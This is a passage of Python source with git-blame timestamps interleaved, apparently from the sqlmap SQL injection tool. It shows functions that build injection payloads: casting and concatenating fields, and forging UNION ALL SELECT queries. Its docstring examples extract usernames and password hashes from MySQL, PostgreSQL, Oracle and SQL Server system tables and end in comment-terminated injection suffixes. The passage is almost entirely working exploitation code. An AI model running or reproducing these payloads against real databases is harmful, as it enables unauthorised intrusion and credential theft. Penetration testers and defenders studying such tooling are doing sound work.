nulledCastedField = self . hexConvertField ( nulledCastedField )
2008-10-15 19:38:22 +04:00
2020-11-05 13:20:51 +03:00
if suffix :
nulledCastedField + = suffix
2020-12-01 14:16:15 +03:00
if not kb . nchar :
nulledCastedField = re . sub ( r " ( AS )N(CHAR|VARCHAR) " , r " \ g<1> \ g<2> " , nulledCastedField )
2010-10-15 16:52:33 +04:00
return nulledCastedField
2008-10-15 19:38:22 +04:00
def nullCastConcatFields ( self , fields ) :
"""
Take in input a sequence of fields string and return its processed
nulled , casted and concatenated fields string .
Examples :
MySQL input : user , password
MySQL output : IFNULL ( CAST ( user AS CHAR ( 10000 ) ) , ' ' ) , ' UWciUe ' , IFNULL ( CAST ( password AS CHAR ( 10000 ) ) , ' ' )
MySQL scope : SELECT user , password FROM mysql . user
PostgreSQL input : usename , passwd
PostgreSQL output : COALESCE ( CAST ( usename AS CHARACTER ( 10000 ) ) , ' ' ) | | ' xRBcZW ' | | COALESCE ( CAST ( passwd AS CHARACTER ( 10000 ) ) , ' ' )
PostgreSQL scope : SELECT usename , passwd FROM pg_shadow
Oracle input : COLUMN_NAME , DATA_TYPE
Oracle output : NVL ( CAST ( COLUMN_NAME AS VARCHAR ( 4000 ) ) , ' ' ) | | ' UUlHUa ' | | NVL ( CAST ( DATA_TYPE AS VARCHAR ( 4000 ) ) , ' ' )
Oracle scope : SELECT COLUMN_NAME , DATA_TYPE FROM SYS . ALL_TAB_COLUMNS WHERE TABLE_NAME = ' %s '
Microsoft SQL Server input : name , master . dbo . fn_varbintohexstr ( password )
Microsoft SQL Server output : ISNULL ( CAST ( name AS VARCHAR ( 8000 ) ) , ' ' ) + ' nTBdow ' + ISNULL ( CAST ( master . dbo . fn_varbintohexstr ( password ) AS VARCHAR ( 8000 ) ) , ' ' )
Microsoft SQL Server scope : SELECT name , master . dbo . fn_varbintohexstr ( password ) FROM master . . sysxlogins
@param fields : fields string to be processed
@type fields : C { str }
@return : fields string nulled , casted and concatened
@rtype : C { str }
"""
2017-04-21 18:44:51 +03:00
if not Backend . getIdentifiedDbms ( ) :
2010-10-15 16:52:33 +04:00
return fields
2008-10-15 19:38:22 +04:00
2011-10-24 02:24:57 +04:00
if fields . startswith ( " (CASE " ) or fields . startswith ( " (IIF " ) or fields . startswith ( " SUBSTR " ) or fields . startswith ( " MID( " ) or re . search ( r " \ A ' [^ ' ]+ ' \ Z " , fields ) :
2011-01-20 02:46:39 +03:00
nulledCastedConcatFields = fields
else :
2013-01-22 18:51:06 +04:00
fieldsSplitted = splitFields ( fields )
2011-01-28 19:36:09 +03:00
dbmsDelimiter = queries [ Backend . getIdentifiedDbms ( ) ] . delimiter . query
2011-01-20 02:46:39 +03:00
nulledCastedFields = [ ]
2008-10-15 19:38:22 +04:00
2011-01-20 02:46:39 +03:00
for field in fieldsSplitted :
2020-11-05 13:20:51 +03:00
field = re . sub ( r " (?i) AS \ w+ \ Z " , " " , field ) # NOTE: fields such as "... AS type_name" have to be stripped from the alias part for this functionality to work
2011-01-20 02:46:39 +03:00
nulledCastedFields . append ( self . nullAndCastField ( field ) )
2008-10-15 19:38:22 +04:00
2011-09-26 01:10:45 +04:00
delimiterStr = " %s ' %s ' %s " % ( dbmsDelimiter , kb . chars . delimiter , dbmsDelimiter )
2011-11-21 00:14:47 +04:00
nulledCastedConcatFields = delimiterStr . join ( field for field in nulledCastedFields )
2008-10-15 19:38:22 +04:00
2010-10-15 16:52:33 +04:00
return nulledCastedConcatFields
2008-10-15 19:38:22 +04:00
def getFields ( self , query ) :
2008-12-10 20:23:07 +03:00
"""
Take in input a query string and return its fields ( columns ) and
more details .
Example :
Input : SELECT user , password FROM mysql . user
Output : user , password
@param query : query to be processed
@type query : C { str }
@return : query fields ( columns ) and more details
@rtype : C { str }
"""
2011-01-18 02:43:37 +03:00
2016-09-23 14:37:44 +03:00
prefixRegex = r " (?: \ s+(?:FIRST|SKIP|LIMIT(?: \ d+)?) \ s+ \ d+)* "
2022-10-12 12:13:59 +03:00
fieldsSelectTop = re . search ( r " \ ASELECT \ s+TOP( \ s+ \ d+| \ s* \ ([^)]+ \ )) \ s+(.+?) \ s+FROM " , query , re . I )
2013-01-30 21:21:15 +04:00
fieldsSelectRownum = re . search ( r " \ ASELECT \ s+([^()]+?), \ s*ROWNUM AS LIMIT FROM " , query , re . I )
2013-01-21 19:15:38 +04:00
fieldsSelectDistinct = re . search ( r " \ ASELECT %s \ s+DISTINCT \ ((.+?) \ ) \ s+FROM " % prefixRegex , query , re . I )
fieldsSelectCase = re . search ( r " \ ASELECT %s \ s+( \ (CASE WHEN \ s+.+ \ s+END \ )) " % prefixRegex , query , re . I )
fieldsSelectFrom = re . search ( r " \ ASELECT %s \ s+(.+?) \ s+FROM " % prefixRegex , query , re . I )
fieldsExists = re . search ( r " EXISTS \ (([^)]*) \ ) \ Z " , query , re . I )
fieldsSelect = re . search ( r " \ ASELECT %s \ s+(.*) " % prefixRegex , query , re . I )
fieldsSubstr = re . search ( r " \ A(SUBSTR|MID \ () " , query , re . I )
fieldsMinMaxstr = re . search ( r " (?:MIN|MAX) \ (([^ \ ( \ )]+) \ ) " , query , re . I )
2011-01-19 02:02:11 +03:00
fieldsNoSelect = query
2008-10-15 19:38:22 +04:00
2013-01-31 16:49:19 +04:00
_ = zeroDepthSearch ( query , " FROM " )
if not _ :
fieldsSelectFrom = None
2023-01-15 20:07:44 +03:00
if re . search ( r " \ bWHERE \ b.+(MIN|MAX) " , query , re . I ) :
fieldsMinMaxstr = None
2015-11-04 16:48:40 +03:00
fieldsToCastStr = fieldsNoSelect
2011-02-21 19:00:56 +03:00
if fieldsSubstr :
fieldsToCastStr = query
2011-05-01 19:47:00 +04:00
elif fieldsMinMaxstr :
2016-09-23 14:39:27 +03:00
fieldsToCastStr = fieldsMinMaxstr . group ( 1 )
2011-02-21 19:00:56 +03:00
elif fieldsExists :
2015-10-09 12:54:28 +03:00
if fieldsSelect :
2016-09-23 14:39:27 +03:00
fieldsToCastStr = fieldsSelect . group ( 1 )
2011-01-18 02:43:37 +03:00
elif fieldsSelectTop :
2020-03-02 14:43:12 +03:00
fieldsToCastStr = fieldsSelectTop . group ( 2 )
2013-01-30 19:55:09 +04:00
elif fieldsSelectRownum :
2016-09-23 14:39:27 +03:00
fieldsToCastStr = fieldsSelectRownum . group ( 1 )
2008-10-15 19:38:22 +04:00
elif fieldsSelectDistinct :
2015-10-09 17:52:13 +03:00
if Backend . getDbms ( ) in ( DBMS . HSQLDB , ) :
fieldsToCastStr = fieldsNoSelect
else :
2016-09-23 14:39:27 +03:00
fieldsToCastStr = fieldsSelectDistinct . group ( 1 )
2009-04-22 15:48:07 +04:00
elif fieldsSelectCase :
2016-09-23 14:39:27 +03:00
fieldsToCastStr = fieldsSelectCase . group ( 1 )
2008-10-15 19:38:22 +04:00
elif fieldsSelectFrom :
2013-01-21 19:15:38 +04:00
fieldsToCastStr = query [ : unArrayizeValue ( _ ) ] if _ else query
2013-01-21 20:01:52 +04:00
fieldsToCastStr = re . sub ( r " \ ASELECT %s \ s+ " % prefixRegex , " " , fieldsToCastStr )
2008-10-15 19:38:22 +04:00
elif fieldsSelect :
2016-09-23 14:39:27 +03:00
fieldsToCastStr = fieldsSelect . group ( 1 )
2010-11-03 13:08:27 +03:00
2016-12-12 12:47:05 +03:00
fieldsToCastStr = fieldsToCastStr or " "
2011-02-01 00:20:23 +03:00
# Function
2018-06-10 00:38:00 +03:00
if re . search ( r " \ A \ w+ \ (.* \ ) " , fieldsToCastStr , re . I ) or ( fieldsSelectCase and " WHEN use " not in query ) or fieldsSubstr :
2010-04-03 23:41:47 +04:00
fieldsToCastList = [ fieldsToCastStr ]
else :
2013-01-22 18:51:06 +04:00
fieldsToCastList = splitFields ( fieldsToCastStr )
2008-12-03 02:49:38 +03:00
2011-01-18 02:43:37 +03:00
return fieldsSelectFrom , fieldsSelect , fieldsNoSelect , fieldsSelectTop , fieldsSelectCase , fieldsToCastList , fieldsToCastStr , fieldsExists
2008-10-15 19:38:22 +04:00
2013-01-08 13:55:25 +04:00
def simpleConcatenate ( self , first , second ) :
rootQuery = queries [ Backend . getIdentifiedDbms ( ) ]
return rootQuery . concatenate . query % ( first , second )
2009-04-22 15:48:07 +04:00
2013-01-15 19:05:33 +04:00
def preprocessField ( self , table , field ) :
"""
2013-03-26 17:11:17 +04:00
Does a field preprocessing ( if needed ) based on its type ( e . g . image to text )
2013-01-15 19:05:33 +04:00
Note : used primarily in dumping of custom tables
"""
retVal = field
2013-04-01 19:32:16 +04:00
if conf . db and table and conf . db in table :
2013-01-15 19:05:33 +04:00
table = table . split ( conf . db ) [ - 1 ] . strip ( ' . ' )
try :
columns = kb . data . cachedColumns [ safeSQLIdentificatorNaming ( conf . db ) ] [ safeSQLIdentificatorNaming ( table , True ) ]
for name , type_ in columns . items ( ) :
if type_ and type_ . upper ( ) in DUMP_DATA_PREPROCESS . get ( Backend . getDbms ( ) , { } ) and name == field :
retVal = DUMP_DATA_PREPROCESS [ Backend . getDbms ( ) ] [ type_ . upper ( ) ] % name
break
except KeyError :
pass
return retVal
2009-04-22 15:48:07 +04:00
def concatQuery ( self , query , unpack = True ) :
2008-10-15 19:38:22 +04:00
"""
Take in input a query string and return its processed nulled ,
casted and concatenated query string .
Examples :
MySQL input : SELECT user , password FROM mysql . user
MySQL output : CONCAT ( ' mMvPxc ' , IFNULL ( CAST ( user AS CHAR ( 10000 ) ) , ' ' ) , ' nXlgnR ' , IFNULL ( CAST ( password AS CHAR ( 10000 ) ) , ' ' ) , ' YnCzLl ' ) FROM mysql . user
PostgreSQL input : SELECT usename , passwd FROM pg_shadow
PostgreSQL output : ' HsYIBS ' | | COALESCE ( CAST ( usename AS CHARACTER ( 10000 ) ) , ' ' ) | | ' KTBfZp ' | | COALESCE ( CAST ( passwd AS CHARACTER ( 10000 ) ) , ' ' ) | | ' LkhmuP ' FROM pg_shadow
Oracle input : SELECT COLUMN_NAME , DATA_TYPE FROM SYS . ALL_TAB_COLUMNS WHERE TABLE_NAME = ' USERS '
Oracle output : ' GdBRAo ' | | NVL ( CAST ( COLUMN_NAME AS VARCHAR ( 4000 ) ) , ' ' ) | | ' czEHOf ' | | NVL ( CAST ( DATA_TYPE AS VARCHAR ( 4000 ) ) , ' ' ) | | ' JVlYgS ' FROM SYS . ALL_TAB_COLUMNS WHERE TABLE_NAME = ' USERS '
Microsoft SQL Server input : SELECT name , master . dbo . fn_varbintohexstr ( password ) FROM master . . sysxlogins
Microsoft SQL Server output : ' QQMQJO ' + ISNULL ( CAST ( name AS VARCHAR ( 8000 ) ) , ' ' ) + ' kAtlqH ' + ISNULL ( CAST ( master . dbo . fn_varbintohexstr ( password ) AS VARCHAR ( 8000 ) ) , ' ' ) + ' lpEqoi ' FROM master . . sysxlogins
@param query : query string to be processed
@type query : C { str }
@return : query string nulled , casted and concatenated
@rtype : C { str }
"""
2011-02-14 01:48:01 +03:00
if unpack :
concatenatedQuery = " "
2012-08-20 23:57:25 +04:00
query = query . replace ( " , " , ' , ' )
2011-01-18 02:43:37 +03:00
fieldsSelectFrom , fieldsSelect , fieldsNoSelect , fieldsSelectTop , fieldsSelectCase , _ , fieldsToCastStr , fieldsExists = self . getFields ( query )
2011-02-14 01:48:01 +03:00
castedFields = self . nullCastConcatFields ( fieldsToCastStr )
concatenatedQuery = query . replace ( fieldsToCastStr , castedFields , 1 )
else :
return query
2008-10-15 19:38:22 +04:00
2015-10-13 14:04:59 +03:00
if Backend . isDbms ( DBMS . MYSQL ) :
2011-01-18 02:43:37 +03:00
if fieldsExists :
2011-09-26 01:10:45 +04:00
concatenatedQuery = concatenatedQuery . replace ( " SELECT " , " CONCAT( ' %s ' , " % kb . chars . start , 1 )
concatenatedQuery + = " , ' %s ' ) " % kb . chars . stop
2011-01-20 02:46:39 +03:00
elif fieldsSelectCase :
2011-09-26 01:10:45 +04:00
concatenatedQuery = concatenatedQuery . replace ( " SELECT " , " CONCAT( ' %s ' , " % kb . chars . start , 1 )
concatenatedQuery + = " , ' %s ' ) " % kb . chars . stop
2011-01-18 02:43:37 +03:00
elif fieldsSelectFrom :
2013-01-21 19:15:38 +04:00
_ = unArrayizeValue ( zeroDepthSearch ( concatenatedQuery , " FROM " ) )
concatenatedQuery = " %s , ' %s ' ) %s " % ( concatenatedQuery [ : _ ] . replace ( " SELECT " , " CONCAT( ' %s ' , " % kb . chars . start , 1 ) , kb . chars . stop , concatenatedQuery [ _ : ] )
2011-01-20 02:46:39 +03:00
elif fieldsSelect :
2011-09-26 01:10:45 +04:00
concatenatedQuery = concatenatedQuery . replace ( " SELECT " , " CONCAT( ' %s ' , " % kb . chars . start , 1 )
concatenatedQuery + = " , ' %s ' ) " % kb . chars . stop
2008-10-15 19:38:22 +04:00
elif fieldsNoSelect :
2011-09-26 01:10:45 +04:00
concatenatedQuery = " CONCAT( ' %s ' , %s , ' %s ' ) " % ( kb . chars . start , concatenatedQuery , kb . chars . stop )
2008-10-15 19:38:22 +04:00
2021-02-15 16:07:04 +03:00
elif Backend . getIdentifiedDbms ( ) in ( DBMS . PGSQL , DBMS . ORACLE , DBMS . SQLITE , DBMS . DB2 , DBMS . FIREBIRD , DBMS . HSQLDB , DBMS . H2 , DBMS . MONETDB , DBMS . DERBY , DBMS . VERTICA , DBMS . MCKOI , DBMS . PRESTO , DBMS . ALTIBASE , DBMS . MIMERSQL , DBMS . CRATEDB , DBMS . CUBRID , DBMS . CACHE , DBMS . EXTREMEDB , DBMS . FRONTBASE , DBMS . RAIMA , DBMS . VIRTUOSO ) :
2011-01-18 02:43:37 +03:00
if fieldsExists :
2011-09-26 01:10:45 +04:00
concatenatedQuery = concatenatedQuery . replace ( " SELECT " , " ' %s ' || " % kb . chars . start , 1 )
concatenatedQuery + = " || ' %s ' " % kb . chars . stop
2011-01-20 02:46:39 +03:00
elif fieldsSelectCase :
2011-09-26 01:10:45 +04:00
concatenatedQuery = concatenatedQuery . replace ( " SELECT " , " ' %s ' ||(SELECT " % kb . chars . start , 1 )
concatenatedQuery + = " )|| ' %s ' " % kb . chars . stop
2011-01-18 02:43:37 +03:00
elif fieldsSelectFrom :
2011-09-26 01:10:45 +04:00
concatenatedQuery = concatenatedQuery . replace ( " SELECT " , " ' %s ' || " % kb . chars . start , 1 )
2013-01-21 19:15:38 +04:00
_ = unArrayizeValue ( zeroDepthSearch ( concatenatedQuery , " FROM " ) )
concatenatedQuery = " %s || ' %s ' %s " % ( concatenatedQuery [ : _ ] , kb . chars . stop , concatenatedQuery [ _ : ] )
2019-09-13 17:30:26 +03:00
concatenatedQuery = re . sub ( r " ( ' %s ' \ | \ |)(.+?)( %s ) " % ( kb . chars . start , re . escape ( castedFields ) ) , r " \ g<2> \ g<1> \ g<3> " , concatenatedQuery )
2011-01-20 02:46:39 +03:00
elif fieldsSelect :
2011-09-26 01:10:45 +04:00
concatenatedQuery = concatenatedQuery . replace ( " SELECT " , " ' %s ' || " % kb . chars . start , 1 )
concatenatedQuery + = " || ' %s ' " % kb . chars . stop
2008-10-15 19:38:22 +04:00
elif fieldsNoSelect :
2011-09-26 01:10:45 +04:00
concatenatedQuery = " ' %s ' || %s || ' %s ' " % ( kb . chars . start , concatenatedQuery , kb . chars . stop )
2008-10-15 19:38:22 +04:00
2011-01-28 19:36:09 +03:00
elif Backend . getIdentifiedDbms ( ) in ( DBMS . MSSQL , DBMS . SYBASE ) :
2011-01-18 02:43:37 +03:00
if fieldsExists :
2011-09-26 01:10:45 +04:00
concatenatedQuery = concatenatedQuery . replace ( " SELECT " , " ' %s ' + " % kb . chars . start , 1 )
concatenatedQuery + = " + ' %s ' " % kb . chars . stop
2011-01-18 02:43:37 +03:00
elif fieldsSelectTop :
2022-10-12 12:13:59 +03:00
topNum = re . search ( r " \ ASELECT \ s+TOP( \ s+ \ d+| \ s* \ ([^)]+ \ )) \ s+ " , concatenatedQuery , re . I ) . group ( 1 )
2020-03-19 13:25:12 +03:00
concatenatedQuery = concatenatedQuery . replace ( " SELECT TOP %s " % topNum , " TOP %s ' %s ' + " % ( topNum , kb . chars . start ) , 1 )
2011-09-26 01:10:45 +04:00
concatenatedQuery = concatenatedQuery . replace ( " FROM " , " + ' %s ' FROM " % kb . chars . stop , 1 )
2011-01-20 02:46:39 +03:00
elif fieldsSelectCase :
2011-09-26 01:10:45 +04:00
concatenatedQuery = concatenatedQuery . replace ( " SELECT " , " ' %s ' + " % kb . chars . start , 1 )
concatenatedQuery + = " + ' %s ' " % kb . chars . stop
2009-01-03 02:26:45 +03:00
elif fieldsSelectFrom :
2011-09-26 01:10:45 +04:00
concatenatedQuery = concatenatedQuery . replace ( " SELECT " , " ' %s ' + " % kb . chars . start , 1 )
2013-01-21 19:15:38 +04:00
_ = unArrayizeValue ( zeroDepthSearch ( concatenatedQuery , " FROM " ) )
concatenatedQuery = " %s + ' %s ' %s " % ( concatenatedQuery [ : _ ] , kb . chars . stop , concatenatedQuery [ _ : ] )
2011-01-20 02:46:39 +03:00
elif fieldsSelect :
2011-09-26 01:10:45 +04:00
concatenatedQuery = concatenatedQuery . replace ( " SELECT " , " ' %s ' + " % kb . chars . start , 1 )
concatenatedQuery + = " + ' %s ' " % kb . chars . stop
2008-10-15 19:38:22 +04:00
elif fieldsNoSelect :
2011-09-26 01:10:45 +04:00
concatenatedQuery = " ' %s ' + %s + ' %s ' " % ( kb . chars . start , concatenatedQuery , kb . chars . stop )
2008-10-15 19:38:22 +04:00
2011-07-07 17:20:40 +04:00
elif Backend . isDbms ( DBMS . ACCESS ) :
if fieldsExists :
2011-09-26 01:10:45 +04:00
concatenatedQuery = concatenatedQuery . replace ( " SELECT " , " ' %s ' & " % kb . chars . start , 1 )
concatenatedQuery + = " & ' %s ' " % kb . chars . stop
2011-07-07 17:20:40 +04:00
elif fieldsSelectCase :
2011-09-26 01:10:45 +04:00
concatenatedQuery = concatenatedQuery . replace ( " SELECT " , " ' %s ' &(SELECT " % kb . chars . start , 1 )
concatenatedQuery + = " )& ' %s ' " % kb . chars . stop
2011-07-07 17:20:40 +04:00
elif fieldsSelectFrom :
2011-09-26 01:10:45 +04:00
concatenatedQuery = concatenatedQuery . replace ( " SELECT " , " ' %s ' & " % kb . chars . start , 1 )
2013-01-21 19:15:38 +04:00
_ = unArrayizeValue ( zeroDepthSearch ( concatenatedQuery , " FROM " ) )
concatenatedQuery = " %s & ' %s ' %s " % ( concatenatedQuery [ : _ ] , kb . chars . stop , concatenatedQuery [ _ : ] )
2011-07-07 17:20:40 +04:00
elif fieldsSelect :
2011-09-26 01:10:45 +04:00
concatenatedQuery = concatenatedQuery . replace ( " SELECT " , " ' %s ' & " % kb . chars . start , 1 )
concatenatedQuery + = " & ' %s ' " % kb . chars . stop
2011-07-07 17:20:40 +04:00
elif fieldsNoSelect :
2011-09-26 01:10:45 +04:00
concatenatedQuery = " ' %s ' & %s & ' %s ' " % ( kb . chars . start , concatenatedQuery , kb . chars . stop )
2011-07-07 17:20:40 +04:00
2011-05-01 12:04:08 +04:00
else :
2016-09-29 14:35:16 +03:00
warnMsg = " applying generic concatenation (CONCAT) "
2013-01-16 05:53:33 +04:00
singleTimeWarnMessage ( warnMsg )
2020-02-11 17:33:17 +03:00
if FROM_DUMMY_TABLE . get ( Backend . getIdentifiedDbms ( ) ) :
_ = re . sub ( r " (?i) %s \ Z " % re . escape ( FROM_DUMMY_TABLE [ Backend . getIdentifiedDbms ( ) ] ) , " " , concatenatedQuery )
if _ != concatenatedQuery :
concatenatedQuery = _
fieldsSelectFrom = None
2013-01-16 05:53:33 +04:00
if fieldsExists :
2016-09-29 14:35:16 +03:00
concatenatedQuery = concatenatedQuery . replace ( " SELECT " , " CONCAT(CONCAT( ' %s ' , " % kb . chars . start , 1 )
concatenatedQuery + = " ), ' %s ' ) " % kb . chars . stop
2013-01-16 05:53:33 +04:00
elif fieldsSelectCase :
2016-09-29 14:35:16 +03:00
concatenatedQuery = concatenatedQuery . replace ( " SELECT " , " CONCAT(CONCAT( ' %s ' , " % kb . chars . start , 1 )
concatenatedQuery + = " ), ' %s ' ) " % kb . chars . stop
2020-02-11 17:33:17 +03:00
elif fieldsSelectFrom or fieldsSelect :
fromTable = " "
2013-01-21 19:15:38 +04:00
_ = unArrayizeValue ( zeroDepthSearch ( concatenatedQuery , " FROM " ) )
2020-02-11 17:33:17 +03:00
if _ :
concatenatedQuery , fromTable = concatenatedQuery [ : _ ] , concatenatedQuery [ _ : ]
concatenatedQuery = re . sub ( r " (?i) \ ASELECT " , " " , concatenatedQuery )
replacement = " ' %s ' , %s , ' %s ' " % ( kb . chars . start , concatenatedQuery , kb . chars . stop )
chars = [ _ for _ in replacement ]
count = 0
for index in zeroDepthSearch ( replacement , ' , ' ) [ 1 : ] :
chars [ index ] = " ), "
count + = 1
replacement = " CONCAT( %s %s ) " % ( " CONCAT( " * count , " " . join ( chars ) )
concatenatedQuery = " %s %s " % ( replacement , fromTable )
2013-01-16 05:53:33 +04:00
elif fieldsSelect :
2016-09-29 14:35:16 +03:00
concatenatedQuery = concatenatedQuery . replace ( " SELECT " , " CONCAT(CONCAT( ' %s ' , " % kb . chars . start , 1 )
concatenatedQuery + = " ), ' %s ' ) " % kb . chars . stop
2013-01-16 05:53:33 +04:00
elif fieldsNoSelect :
2016-09-29 14:35:16 +03:00
concatenatedQuery = " CONCAT(CONCAT( ' %s ' , %s ), ' %s ' ) " % ( kb . chars . start , concatenatedQuery , kb . chars . stop )
2011-05-01 12:04:08 +04:00
2010-10-15 16:52:33 +04:00
return concatenatedQuery
2008-10-15 19:38:22 +04:00
2012-10-28 02:36:09 +04:00
def forgeUnionQuery ( self , query , position , count , comment , prefix , suffix , char , where , multipleUnions = None , limited = False , fromTable = None ) :
2008-10-15 19:38:22 +04:00
"""
Take in input an query ( pseudo query ) string and return its
processed UNION ALL SELECT query .
Examples :
MySQL input : CONCAT ( CHAR ( 120 , 121 , 75 , 102 , 103 , 89 ) , IFNULL ( CAST ( user AS CHAR ( 10000 ) ) , CHAR ( 32 ) ) , CHAR ( 106 , 98 , 66 , 73 , 109 , 81 ) , IFNULL ( CAST ( password AS CHAR ( 10000 ) ) , CHAR ( 32 ) ) , CHAR ( 105 , 73 , 99 , 89 , 69 , 74 ) ) FROM mysql . user
MySQL output : UNION ALL SELECT NULL , CONCAT ( CHAR ( 120 , 121 , 75 , 102 , 103 , 89 ) , IFNULL ( CAST ( user AS CHAR ( 10000 ) ) , CHAR ( 32 ) ) , CHAR ( 106 , 98 , 66 , 73 , 109 , 81 ) , IFNULL ( CAST ( password AS CHAR ( 10000 ) ) , CHAR ( 32 ) ) , CHAR ( 105 , 73 , 99 , 89 , 69 , 74 ) ) , NULL FROM mysql . user - - AND 7488 = 7488
PostgreSQL input : ( CHR ( 116 ) | | CHR ( 111 ) | | CHR ( 81 ) | | CHR ( 80 ) | | CHR ( 103 ) | | CHR ( 70 ) ) | | COALESCE ( CAST ( usename AS CHARACTER ( 10000 ) ) , ( CHR ( 32 ) ) ) | | ( CHR ( 106 ) | | CHR ( 78 ) | | CHR ( 121 ) | | CHR ( 111 ) | | CHR ( 84 ) | | CHR ( 85 ) ) | | COALESCE ( CAST ( passwd AS CHARACTER ( 10000 ) ) , ( CHR ( 32 ) ) ) | | ( CHR ( 108 ) | | CHR ( 85 ) | | CHR ( 122 ) | | CHR ( 85 ) | | CHR ( 108 ) | | CHR ( 118 ) ) FROM pg_shadow
PostgreSQL output : UNION ALL SELECT NULL , ( CHR ( 116 ) | | CHR ( 111 ) | | CHR ( 81 ) | | CHR ( 80 ) | | CHR ( 103 ) | | CHR ( 70 ) ) | | COALESCE ( CAST ( usename AS CHARACTER ( 10000 ) ) , ( CHR ( 32 ) ) ) | | ( CHR ( 106 ) | | CHR ( 78 ) | | CHR ( 121 ) | | CHR ( 111 ) | | CHR ( 84 ) | | CHR ( 85 ) ) | | COALESCE ( CAST ( passwd AS CHARACTER ( 10000 ) ) , ( CHR ( 32 ) ) ) | | ( CHR ( 108 ) | | CHR ( 85 ) | | CHR ( 122 ) | | CHR ( 85 ) | | CHR ( 108 ) | | CHR ( 118 ) ) , NULL FROM pg_shadow - - AND 7133 = 713
Oracle input : ( CHR ( 109 ) | | CHR ( 89 ) | | CHR ( 75 ) | | CHR ( 109 ) | | CHR ( 85 ) | | CHR ( 68 ) ) | | NVL ( CAST ( COLUMN_NAME AS VARCHAR ( 4000 ) ) , ( CHR ( 32 ) ) ) | | ( CHR ( 108 ) | | CHR ( 110 ) | | CHR ( 89 ) | | CHR ( 69 ) | | CHR ( 122 ) | | CHR ( 90 ) ) | | NVL ( CAST ( DATA_TYPE AS VARCHAR ( 4000 ) ) , ( CHR ( 32 ) ) ) | | ( CHR ( 89 ) | | CHR ( 80 ) | | CHR ( 98 ) | | CHR ( 77 ) | | CHR ( 80 ) | | CHR ( 121 ) ) FROM SYS . ALL_TAB_COLUMNS WHERE TABLE_NAME = ( CHR ( 85 ) | | CHR ( 83 ) | | CHR ( 69 ) | | CHR ( 82 ) | | CHR ( 83 ) )
Oracle output : UNION ALL SELECT NULL , ( CHR ( 109 ) | | CHR ( 89 ) | | CHR ( 75 ) | | CHR ( 109 ) | | CHR ( 85 ) | | CHR ( 68 ) ) | | NVL ( CAST ( COLUMN_NAME AS VARCHAR ( 4000 ) ) , ( CHR ( 32 ) ) ) | | ( CHR ( 108 ) | | CHR ( 110 ) | | CHR ( 89 ) | | CHR ( 69 ) | | CHR ( 122 ) | | CHR ( 90 ) ) | | NVL ( CAST ( DATA_TYPE AS VARCHAR ( 4000 ) ) , ( CHR ( 32 ) ) ) | | ( CHR ( 89 ) | | CHR ( 80 ) | | CHR ( 98 ) | | CHR ( 77 ) | | CHR ( 80 ) | | CHR ( 121 ) ) , NULL FROM SYS . ALL_TAB_COLUMNS WHERE TABLE_NAME = ( CHR ( 85 ) | | CHR ( 83 ) | | CHR ( 69 ) | | CHR ( 82 ) | | CHR ( 83 ) ) - - AND 6738 = 6738
Microsoft SQL Server input : ( CHAR ( 74 ) + CHAR ( 86 ) + CHAR ( 106 ) + CHAR ( 116 ) + CHAR ( 116 ) + CHAR ( 108 ) ) + ISNULL ( CAST ( name AS VARCHAR ( 8000 ) ) , ( CHAR ( 32 ) ) ) + ( CHAR ( 89 ) + CHAR ( 87 ) + CHAR ( 116 ) + CHAR ( 100 ) + CHAR ( 106 ) + CHAR ( 74 ) ) + ISNULL ( CAST ( master . dbo . fn_varbintohexstr ( password ) AS VARCHAR ( 8000 ) ) , ( CHAR ( 32 ) ) ) + ( CHAR ( 71 ) + CHAR ( 74 ) + CHAR ( 68 ) + CHAR ( 66 ) + CHAR ( 85 ) + CHAR ( 106 ) ) FROM master . . sysxlogins
Microsoft SQL Server output : UNION ALL SELECT NULL , ( CHAR ( 74 ) + CHAR ( 86 ) + CHAR ( 106 ) + CHAR ( 116 ) + CHAR ( 116 ) + CHAR ( 108 ) ) + ISNULL ( CAST ( name AS VARCHAR ( 8000 ) ) , ( CHAR ( 32 ) ) ) + ( CHAR ( 89 ) + CHAR ( 87 ) + CHAR ( 116 ) + CHAR ( 100 ) + CHAR ( 106 ) + CHAR ( 74 ) ) + ISNULL ( CAST ( master . dbo . fn_varbintohexstr ( password ) AS VARCHAR ( 8000 ) ) , ( CHAR ( 32 ) ) ) + ( CHAR ( 71 ) + CHAR ( 74 ) + CHAR ( 68 ) + CHAR ( 66 ) + CHAR ( 85 ) + CHAR ( 106 ) ) , NULL FROM master . . sysxlogins - - AND 3254 = 3254
@param query : it is a processed query string unescaped to be
forged within an UNION ALL SELECT statement
@type query : C { str }
2011-01-13 12:41:55 +03:00
@param position : it is the NULL position where it is possible
2008-10-15 19:38:22 +04:00
to inject the query
2011-01-13 12:41:55 +03:00
@type position : C { int }
2008-10-15 19:38:22 +04:00
@return : UNION ALL SELECT query string forged
@rtype : C { str }
"""
2013-03-21 14:28:44 +04:00
if conf . uFrom :
fromTable = " FROM %s " % conf . uFrom
2016-05-31 12:16:13 +03:00
elif not fromTable :
if kb . tableFrom :
fromTable = " FROM %s " % kb . tableFrom
else :
fromTable = FROM_DUMMY_TABLE . get ( Backend . getIdentifiedDbms ( ) , " " )
2012-09-06 17:51:38 +04:00
2010-12-22 15:16:04 +03:00
if query . startswith ( " SELECT " ) :
2011-01-13 20:36:54 +03:00
query = query [ len ( " SELECT " ) : ]
2010-12-22 15:16:04 +03:00
2012-12-26 22:48:01 +04:00
unionQuery = self . prefixQuery ( " UNION ALL SELECT " , prefix = prefix )
2008-10-15 19:38:22 +04:00
2011-08-01 03:40:09 +04:00
if limited :
2012-10-28 02:36:09 +04:00
unionQuery + = ' , ' . join ( char if _ != position else ' (SELECT %s ) ' % query for _ in xrange ( 0 , count ) )
unionQuery + = fromTable
unionQuery = self . suffixQuery ( unionQuery , comment , suffix )
2011-06-25 13:44:24 +04:00
2012-10-28 02:36:09 +04:00
return unionQuery
2013-01-21 19:15:38 +04:00
else :
_ = zeroDepthSearch ( query , " FROM " )
if _ :
fromTable = query [ _ [ 0 ] : ]
if fromTable and query . endswith ( fromTable ) :
query = query [ : - len ( fromTable ) ]
2011-06-25 13:44:24 +04:00
2017-10-31 13:38:09 +03:00
topNumRegex = re . search ( r " \ ATOP \ s+([ \ d]+) \ s+ " , query , re . I )
2011-08-01 03:40:09 +04:00
if topNumRegex :
topNum = topNumRegex . group ( 1 )
2011-01-13 20:36:54 +03:00
query = query [ len ( " TOP %s " % topNum ) : ]
2012-10-28 02:36:09 +04:00
unionQuery + = " TOP %s " % topNum
2009-01-03 02:26:45 +03:00
2017-10-31 13:38:09 +03:00
